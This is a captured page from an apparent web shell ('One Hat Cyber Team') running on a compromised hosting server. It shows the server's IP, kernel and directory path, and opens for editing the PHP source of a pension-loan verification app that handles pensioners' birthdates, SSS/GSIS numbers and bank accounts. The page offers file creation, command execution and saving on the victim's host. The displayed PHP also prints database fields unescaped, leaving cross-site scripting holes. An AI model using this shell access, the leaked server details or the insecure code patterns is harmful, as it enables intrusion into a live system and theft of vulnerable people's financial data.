⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.37
Server IP:
15.235.14.176
Server:
Linux server2.ihostph.com 4.18.0-553.30.1.el8_10.x86_64 #1 SMP Tue Nov 26 02:30:26 EST 2024 x86_64
Server Software:
Apache
PHP Version:
8.1.34
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
gracious
/
verification.graciousphils.com
/
Edit File: overview.php
<!doctype html> <?php include 'connection.php'; if(isset($_SESSION['user']) && ($_SESSION['position'] == 2 || $_SESSION['position'] == 3 || $_SESSION['position'] == 4)){ // $email = $_SESSION['email']; ?> <html lang="en"> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- Bootstrap CSS --> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-+0n0xVW2eSR5OomGNYDnhzAbDsOXxcvSN1TPprVMTNDbiYZCxYbOOl7+AMvyTG2x" crossorigin="anonymous"> <link rel="stylesheet" type="text/css" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.0.1/css/bootstrap.min.css"/> <link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.10.25/css/jquery.dataTables.min.css"/> <link rel="stylesheet" type="text/css" href="styles.css"> <title>VERIFICATION+</title> <style type="text/css"> .dataTables_filter { margin-bottom: 5px; } .requestModal input, .requestModal textarea, select{ background-color: transparent !important; border:0px transparent !important; } .requestModal label{ } </style> </head> <script> function confirmSubmission() { return confirm(" Are you sure you want to submit this Verification request? Please review all the details before confirming."); } </script> <body> <?php include 'navBar.php'; ?> <?php if(isset($_POST['btnSearch'])){ $st = $pdo->prepare("select * from tblrequests where v2PensionAccountNumber = ? OR pensionerName like CONCAT('%', ?, '%')"); $st->bindParam(1, strtoupper($_POST['txtSearch'])); $st->bindParam(2, strtoupper($_POST['txtSearch'])); $st->execute(); ?> <br> <div class="container"> <div class="row mb-2"> <div class="col-lg-3 offset-lg-9"> <a href="request.php"> <button type="button" class="btn btn-primary" style="float: right;" data-bs-toggle="modal" data-bs-target="#newBorrowerModal"> <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-plus-circle" viewBox="0 0 16 16"> <path d="M8 15A7 7 0 1 1 8 1a7 7 0 0 1 0 14m0 1A8 8 0 1 0 8 0a8 8 0 0 0 0 16"/> <path d="M8 4a.5.5 0 0 1 .5.5v3h3a.5.5 0 0 1 0 1h-3v3a.5.5 0 0 1-1 0v-3h-3a.5.5 0 0 1 0-1h3v-3A.5.5 0 0 1 8 4"/> </svg> New Verification </button> </a> </div> </div> <div class="row"> <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12"> <table id="example" class="table table-bordered display compact" style="width: 100%;"> <thead> <tr class="text-center table-dark"> <th>Client No.</th> <th>Pensioner Name</th> <th>Sales Office</th> <th>Requested By</th> <th>Date Requested</th> <th>Status</th> <th>Actions</th> </tr> </thead> <tbody> <?php if($st->rowCount()>0){ while ($data = $st->fetch()) { ?> <tr class="text-center"> <td><?php echo $data['clientNumber'];?></td> <td><?php echo $data['pensionerName'];?></td> <td><?php echo $data['salesOffice'];?></td> <td><?php echo $data['requestedBy'];?></td> <td><?php echo $data['dateRequested'];?></td> <td><?php echo $data['status'];?></td> <td> <button type="button" class="btn btn-secondary text-white" name="btnLastTrans" data-bs-toggle="modal" data-bs-target="<?php echo '#modal' . $data['request_id'];?>"> View </button> </td> </tr> <!-- Start of Last Transaction Modal --> <div class="modal fade requestModal" id="<?php echo 'modal' . $data['request_id'];?>" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true"> <div class="modal-dialog modal-xl"> <div class="modal-content text-black"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel">VERIFICATION+ FORM OVERVIEW</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <form method="POST" action="requestAction.php" onsubmit="return confirmSubmission()"> <div class="modal-body"> <div class="col-lg-12"> <h6 class="text-muted">Client Information</h6> </div> <div class="row"> <div class="col-lg-2 mb-2"> <div class="form-floating"> <input type="text" class="form-control" name="modalClientType" value="<?php echo $data['clientType']; ?>" readonly> <label for="modalClientType">Client Type</label> </div> </div> <div class="col-lg-2 mb-2"> <div class="form-floating"> <input type="text" class="form-control" name="modalClientNumber" value="<?php echo $data['clientNumber']; ?>" readonly> <label for="modalClientNumber">Client I.D No.</label> </div> </div> <div class="col-lg-2 mb-2"> <div class="form-floating"> <select name="modalSalesOffice" class="form-select" id="modalSalesOffice" required> <option disabled selected value> -- select an option -- </option> <?php $st1 = $pdo->prepare("select * from tblsalesoffices"); $st1->execute(); while ($data1 = $st1->fetch()) { if($data['salesOffice'] == $data1['salesOffice']){ ?> <option value="<?php echo $data1['salesOffice']; ?>" selected><?php echo $data1['salesOffice']?></option> <?php } else{ ?> <option value="<?php echo $data1['salesOffice']; ?>"><?php echo $data1['salesOffice']; ?></option> <?php } } ?> </select> <!--<input type="text" class="form-control" name="modalSalesOffice" value="<?php echo $data['salesOffice']; ?>" readonly> --> <label for="modalSalesOffice">Sales Office*</label> </div> </div> <div class="col-lg-2 mb-2"> <div class="form-floating"> <input type="text" class="form-control" name="modalPensionProvider" value="<?php echo $data['pensionProvider']; ?>" readonly> <label for="modalPensionProvider">Pens. Provider Type</label> </div> </div> <div class="col-lg-2 mb-2"> <div class="form-floating"> <input type="text" class="form-control" name="modalPensionAcountNumber" value="<?php echo $data['pensionAccountNumber']; ?>" readonly> <label for="modalPensionAcountNumber">SSS/GSIS No.</label> </div> </div> <div class="col-lg-2 mb-2"> <div class="form-floating"> <select name="modalPensionType" class="form-select" id="modalPensionType" required> <option disabled selected value> -- select an option -- </option> <?php $st1 = $pdo->prepare("select * from tblpenstype"); $st1->execute(); while ($data1 = $st1->fetch()) { if($data['pensionType'] == $data1['pensType']){ ?> <option value="<?php echo $data1['pensType']; ?>" selected><?php echo $data1['pensType']?></option> <?php } else{ ?> <option value="<?php echo $data1['pensType']; ?>"><?php echo $data1['pensType']; ?></option> <?php } } ?> </select> <!--<input type="text" class="form-control" name="modalPensionType" value="<?php echo $data['pensionType']; ?>" readonly>--> <label for="modalPensionType">Pens. Type*</label> </div> </div> </div> <div class="row"> <div class="col-lg-4 mb-2"> <div class="form-floating"> <input type="text" class="form-control" name="modalMemberName" value="<?php echo $data['memberName']; ?>" readonly> <label for="modalMemberName">Member's Name</label> </div> </div> <div class="col-lg-2 mb-2"> <div class="form-floating"> <input type="date" class="form-control" name="modalMemberBirthday" value="<?php echo $data['memberBirthday']; ?>" readonly> <label for="modalMemberBirthday">Birthdate</label> </div> </div> <div class="col-lg-4 mb-2"> <div class="form-floating"> <input type="text" class="form-control" name="modalPensionerName" value="<?php echo $data['pensionerName']; ?>" readonly> <label for="modalPensionerName">Pensioner's Name</label> </div> </div> <div class="col-lg-2 mb-2"> <div class="form-floating"> <input type="date" class="form-control" name="modalPensionerBirthday" value="<?php echo $data['pensionerBirthday']; ?>" readonly> <label for="modalPensionerBirthday">Birthdate</label> </div> </div> </div> <div class="row"> <div class="col-lg-12 mb-2"> <div class="form-floating"> <input type="text" class="form-control" id="modalAddress" name="modalAddress" value="<?php echo $data['address']; ?>" readonly> <label for="modalAddress">Address</label> </div> </div> </div> <div class="row"> <div class="col-lg-2 mb-2"> <div class="form-floating"> <select name="modalInvestigationType" class="form-select" id="modalInvestigationType" required> <option disabled selected value> -- select an option -- </option> <?php $st1 = $pdo->prepare("select * from tblinvtype"); $st1->execute(); while ($data1 = $st1->fetch()) { if($data['investigationType'] == $data1['invType_code']){ ?> <option value="<?php echo $data1['invType_code']; ?>" selected><?php echo $data1['invType_name']?></option> <?php } else{ ?> <option value="<?php echo $data1['invType_code']; ?>"><?php echo $data1['invType_name']; ?></option> <?php } } ?> </select> <label for="modalInvestigationType">Investigation Type</label> </div> </div> <!--<div class="col-lg-2 mb-2"> <div class="form-floating"> <input type="text" class="form-control" name="modalInvestigationType" value="<?php echo $data['investigationType']; ?>" readonly> <label for="modalInvestigationType">Investigation Type</label> </div> </div>--> <div class="col-lg-2 mb-2"> <div class="form-floating"> <input type="text" class="form-control" name="modalContactNumber" value="<?php echo $data['contactNumber']; ?>" readonly> <label for="modalContactNumber">Contact Number</label> </div> </div> <div class="col-lg-2 mb-2"> <div class="form-floating"> <input type="text" class="form-control" name="modalSmAccount" value="<?php echo $data['smAccount']; ?>" readonly> <label for="modalSmAccount">Social Media Acct.</label> </div> </div> <div class="col-lg-2 mb-2"> <div class="form-floating"> <input type="text" class="form-control" name="modalBankName" value="<?php echo $data['bankName']; ?>" readonly> <label for="modalBankName">Bank Name</label> </div> </div> <div class="col-lg-2 mb-2"> <div class="form-floating"> <input type="text" class="form-control" name="modalAccountNumber" value="<?php echo $data['bankAccountNumber']; ?>" readonly> <label for="modalAccountNumber">Bank Acct. No.</label> </div> </div> <div class="col-lg-2 mb-2"> <div class="form-floating"> <input type="text" class="form-control" name="modalPensionAmount" value="<?php echo $data['pensionAmount']; ?>" readonly> <label for="modalPensionAmount">Pension Amount</label> </div> </div> </div> <div class="row"> <div class="col-lg-12 mb-2"> <div class="form-floating"> <textarea class="form-control" name="modalRemarks" id="modalRemarks" style="resize: none;height:100px;" placeholder=""><?php echo $data['remarks']; ?></textarea> <label for="modalRemarks">Remarks*</label> </div> </div> </div> <div class="row mb-2"> <div class="col-lg-12"> <button type="submit" name="btnReVerify" class="btn btn-primary w-100">Re-Verify</button> </div> </div> </form> <div class="col-lg-12"> <h6 class="text-muted">Verification Results</h6> </div> <div class="row mb-2"> <div class="col-lg-2 mb-2"> <div class="row mb-2"> <div class="col-lg-12"> <div class="form-floating"> <?php if($data['v1Result']=="Passed"){ $color = "green"; } else{ $color = "red"; } ?> <input type="text" class="form-control" name="modalV1Result" style="color: <?php echo $color;?>;font-weight: bold;" value="<?php echo $data['v1Result']; ?>" readonly> <label for="modalV1Result">V1 Result</label> </div> </div> </div> <div class="row mb-2"> <div class="col-lg-12"> <div class="form-floating"> <?php if($data['v2Result']=="Passed"){ $color = "green"; } else{ $color = "red"; } ?> <input type="text" class="form-control" name="modalV2Result" style="color: <?php echo $color;?>;font-weight: bold;" value="<?php echo $data['v2Result']; ?>" readonly> <label for="modalV2Result">V2 Result</label> </div> </div> </div> <div class="row mb-2"> <div class="col-lg-12"> <div class="form-floating"> <?php if($data['v3Result']=="Passed"){ $color = "green"; } else if($data['v3Result']=="Failed"){ $color = "red"; } else{ $color = "black"; } ?> <input type="text" class="form-control" name="modalV3Result" style="color: <?php echo $color;?>;font-weight: bold;" value="<?php echo $data['v3Result']; ?>" readonly> <label for="modalV3Result">V3 Result</label> </div> </div> </div> <div class="row mb-2"> <div class="col-lg-12"> <div class="form-floating"> <?php if($data['v4Result']=="Passed"){ $color = "green"; } else if($data['v4Result']=="Failed"){ $color = "red"; } else{ $color = "black"; } ?> <input type="text" class="form-control" name="modalV4Result" style="color: <?php echo $color;?>;font-weight: bold;" value="<?php echo $data['v4Result']; ?>" readonly> <label for="modalV4Result">V4 Result</label> </div> </div> </div> </div> <div class="col-lg-7 mb-2"> <div class="form-floating"> <textarea class="form-control" name="remarks" id="modalVerificationRemarks" style="resize: none;height:250px;" placeholder="" readonly><?php echo "V1 Remarks: " . $data['v1Remarks'] ."\nBy: " . $data['v1By']. "\n" . "V2 Remarks:" . "\n" . "Pension Acct. #: " . $data['v2PensionAccountNumber'] . "\n" . "Pension Type: " . $data['v2PensionType'] . "\n" . "Contingency: " . $data['v2Contingency'] . "\n" . $data['v2Remarks'] ." -" . $data['v2By']. "\n" . "V3 Remarks: " . $data['v3Remarks'] ."\nBy: " . $data['v3By']. "\n" . "V4 Remarks: " . $data['v4Remarks'] ."\nBy: " . $data['v4By']. "\n\n" . "No Reply Lending: " . $data['v3NoReply']; ?> </textarea> <label for="modalVerificationRemarks">Remarks</label> </div> </div> <div class="col-lg-3 mb-2"> <div class="row mb-2"> <div class="col-lg-12"> <div class="form-floating"> <input type="text" class="form-control" name="modalV2BankName" value="<?php echo $data['v2BankName']; ?>" readonly> <label for="modalV2BankName">Bank Name</label> </div> </div> </div> <div class="row mb-2"> <div class="col-lg-12"> <div class="form-floating"> <input type="text" class="form-control" name="modalV2BankAccountNumber" value="<?php echo $data['v2BankAccountNumber']; ?>" readonly> <label for="modalV2BankAccountNumber">Account No.</label> </div> </div> </div> <div class="row mb-2"> <div class="col-lg-12"> <div class="form-floating"> <input type="text" class="form-control" name="modalV2PensionAmount" value="<?php echo $data['v2PensionAmount']; ?>" readonly> <label for="modalV2PensionAmount">Pension Amount</label> </div> </div> </div> <div class="row mb-2"> <div class="col-lg-12"> <div class="form-floating"> <input type="text" class="form-control" name="modalV2SSSVerifier" value="<?php echo $data['v2SSSVerifier']; ?>" readonly> <label for="modalV2SSSVerifier">SSS/GSIS Verifier</label> </div> </div> </div> </div> </div> <div class="row"> <div class="col-lg-3"> <div class="form-floating"> <input type="text" class="form-control" name="modalV4Batman" value="<?php echo $data['v4Batman']; ?>" readonly> <label for="modalV4Batman">Batman</label> </div> </div> <div class="col-lg-3"> <div class="form-floating"> <input type="date" class="form-control" name="modalV4VisitDate" value="<?php echo $data['v4VisitDate']; ?>" readonly> <label for="modalV4VisitDate">Visit Date</label> </div> </div> <div class="col-lg-3"> <div class="form-floating"> <input type="text" class="form-control" name="modalV1Time" value="<?php echo $data['receiveDate']; ?>" readonly> <label for="modalV1Time">Time Received</label> </div> </div> <div class="col-lg-3"> <div class="form-floating"> <input type="text" class="form-control" name="modalV1Batch" value="<?php echo $data['v1Batch']; ?>" readonly> <label for="modalV1Batch">Batch</label> </div> </div> </div> <form method="POST" action="export.php"> <div class="row mb-2"> <div class="col-lg-12"> <input type="hidden" name="exportID" value="<?php echo $data['request_id']; ?>"> <input type="hidden" name="clientName" value="<?php echo $data['pensionerName']; ?>"> <button type="submit" name="btnExport" class="btn btn-success w-100">Export Verification</button> </div> </div> </form> </div> </div> </div> <!-- End of Transaction Modal --> </div> <?php } } ?> </tbody> </table> </div> </div> </div> <?php } ?> <!-- Optional JavaScript; choose one of the two! --> <!-- Option 1: Bootstrap Bundle with Popper --> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.bundle.min.js" integrity="sha384-gtEjrD/SeCtmISkJkNUaaKMoLD0//ElJ19smozuHV6z3Iehds+3Ulb9Bn9Plx0x4" crossorigin="anonymous"></script> <script src="https://code.jquery.com/jquery-3.5.1.js"></script> <script src="https://cdn.datatables.net/1.10.25/js/jquery.dataTables.min.js"></script> <script> $(document).ready(function() { $('#example').DataTable(); } ); </script> <!-- Option 2: Separate Popper and Bootstrap JS --> <!-- <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.9.2/dist/umd/popper.min.js" integrity="sha384-IQsoLXl5PILFhosVNubq5LC7Qb9DXgDA9i+tQ8Zj3iwWAwPtgFTxbJ8NT4GN1R8p" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.min.js" integrity="sha384-Atwg2Pkwv9vp0ygtn1JAojH0nYbwNJLPhwyoVbhoPwBhjQPR5VtM2+xf0Uwh9KtT" crossorigin="anonymous"></script> --> </body> </html> <?php } else{ //session_destroy(); header("location:index.php"); } ?>
Simpan